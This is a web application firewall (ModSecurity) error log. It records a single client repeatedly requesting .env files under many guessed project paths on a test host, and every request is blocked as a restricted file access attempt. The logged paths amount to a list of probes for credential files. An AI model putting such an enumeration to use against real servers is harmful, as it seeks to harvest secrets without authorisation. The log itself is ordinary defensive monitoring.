[Wed Feb 25 06:05:33.368315 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/main/front-end/.env&quot;] [unique_id &quot;aZ6DHYv6AM5Bs3q_JQDY2wAAAAc&quot;]
[Wed Feb 25 06:05:33.368479 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/main/front-end/.env&quot;] [unique_id &quot;aZ6DHYv6AM5Bs3q_JQDY2wAAAAc&quot;]
[Wed Feb 25 06:05:33.485849 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/main/resources/archetype-resources/__rootartifactid__-acceptance-test/src/test/resources/app-launcher-tile/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/main/resources/archetype-resources/__rootArtifactId__-acceptance-test/src/test/resources/app-launcher-tile/.env&quot;] [unique_id &quot;aZ6DHYv6AM5Bs3q_JQDY3AAAAAc&quot;]
[Wed Feb 25 06:05:33.486089 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/main/resources/archetype-resources/__rootArtifactId__-acceptance-test/src/test/resources/app-launcher-tile/.env&quot;] [unique_id &quot;aZ6DHYv6AM5Bs3q_JQDY3AAAAAc&quot;]
[Wed Feb 25 06:05:33.486277 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/main/resources/archetype-resources/__rootArtifactId__-acceptance-test/src/test/resources/app-launcher-tile/.env&quot;] [unique_id &quot;aZ6DHYv6AM5Bs3q_JQDY3AAAAAc&quot;]
[Wed Feb 25 06:05:33.540107 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /secrets/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/secrets/.env&quot;] [unique_id &quot;aZ6DHWXxsr5IXP-ltRibUwAAAAA&quot;]
[Wed Feb 25 06:05:33.540365 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/secrets/.env&quot;] [unique_id &quot;aZ6DHWXxsr5IXP-ltRibUwAAAAA&quot;]
[Wed Feb 25 06:05:33.540542 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/secrets/.env&quot;] [unique_id &quot;aZ6DHWXxsr5IXP-ltRibUwAAAAA&quot;]
[Wed Feb 25 06:05:33.557185 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/renderer/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/renderer/.env&quot;] [unique_id &quot;aZ6DHYv6AM5Bs3q_JQDY3QAAAAc&quot;]
[Wed Feb 25 06:05:33.557424 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/renderer/.env&quot;] [unique_id &quot;aZ6DHYv6AM5Bs3q_JQDY3QAAAAc&quot;]
[Wed Feb 25 06:05:33.557605 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/renderer/.env&quot;] [unique_id &quot;aZ6DHYv6AM5Bs3q_JQDY3QAAAAc&quot;]
[Wed Feb 25 06:05:33.590054 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /selfish-darling-backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/selfish-darling-backend/.env&quot;] [unique_id &quot;aZ6DHWXxsr5IXP-ltRibVAAAAAA&quot;]
[Wed Feb 25 06:05:33.590324 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/selfish-darling-backend/.env&quot;] [unique_id &quot;aZ6DHWXxsr5IXP-ltRibVAAAAAA&quot;]
[Wed Feb 25 06:05:33.590537 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/selfish-darling-backend/.env&quot;] [unique_id &quot;aZ6DHWXxsr5IXP-ltRibVAAAAAA&quot;]
[Wed Feb 25 06:05:33.592895 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /srv6_controller/controller/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/controller/.env&quot;] [unique_id &quot;aZ6DHYv6AM5Bs3q_JQDY3gAAAAc&quot;]
[Wed Feb 25 06:05:33.593135 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/controller/.env&quot;] [unique_id &quot;aZ6DHYv6AM5Bs3q_JQDY3gAAAAc&quot;]
[Wed Feb 25 06:05:33.593304 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/controller/.env&quot;] [unique_id &quot;aZ6DHYv6AM5Bs3q_JQDY3gAAAAc&quot;]
[Wed Feb 25 06:05:33.703274 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /srv6_controller/examples/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/examples/.env&quot;] [unique_id &quot;aZ6DHYv6AM5Bs3q_JQDY3wAAAAc&quot;]
[Wed Feb 25 06:05:33.703570 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/examples/.env&quot;] [unique_id &quot;aZ6DHYv6AM5Bs3q_JQDY3wAAAAc&quot;]
[Wed Feb 25 06:05:33.703784 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/examples/.env&quot;] [unique_id &quot;aZ6DHYv6AM5Bs3q_JQDY3wAAAAc&quot;]
[Wed Feb 25 06:05:33.754448 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /serve-browserbench/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/serve-browserbench/.env&quot;] [unique_id &quot;aZ6DHWXxsr5IXP-ltRibVgAAAAA&quot;]
[Wed Feb 25 06:05:33.754724 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/serve-browserbench/.env&quot;] [unique_id &quot;aZ6DHWXxsr5IXP-ltRibVgAAAAA&quot;]
[Wed Feb 25 06:05:33.754898 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/serve-browserbench/.env&quot;] [unique_id &quot;aZ6DHWXxsr5IXP-ltRibVgAAAAA&quot;]
[Wed Feb 25 06:05:33.787775 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /serve_time_server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Serve_time_server/.env&quot;] [unique_id &quot;aZ6DHWXxsr5IXP-ltRibVwAAAAA&quot;]
[Wed Feb 25 06:05:33.788044 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Serve_time_server/.env&quot;] [unique_id &quot;aZ6DHWXxsr5IXP-ltRibVwAAAAA&quot;]
[Wed Feb 25 06:05:33.788221 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Serve_time_server/.env&quot;] [unique_id &quot;aZ6DHWXxsr5IXP-ltRibVwAAAAA&quot;]
[Wed Feb 25 06:05:33.796794 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /srv6_controller/node-manager/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/node-manager/.env&quot;] [unique_id &quot;aZ6DHYv6AM5Bs3q_JQDY4AAAAAc&quot;]
[Wed Feb 25 06:05:33.798828 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/node-manager/.env&quot;] [unique_id &quot;aZ6DHYv6AM5Bs3q_JQDY4AAAAAc&quot;]
[Wed Feb 25 06:05:33.799028 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/node-manager/.env&quot;] [unique_id &quot;aZ6DHYv6AM5Bs3q_JQDY4AAAAAc&quot;]
[Wed Feb 25 06:05:33.844481 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /st-js-be-2020-movies-two/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/st-js-be-2020-movies-two/.env&quot;] [unique_id &quot;aZ6DHYv6AM5Bs3q_JQDY4QAAAAc&quot;]
[Wed Feb 25 06:05:33.844741 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/st-js-be-2020-movies-two/.env&quot;] [unique_id &quot;aZ6DHYv6AM5Bs3q_JQDY4QAAAAc&quot;]
[Wed Feb 25 06:05:33.844908 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/st-js-be-2020-movies-two/.env&quot;] [unique_id &quot;aZ6DHYv6AM5Bs3q_JQDY4QAAAAc&quot;]
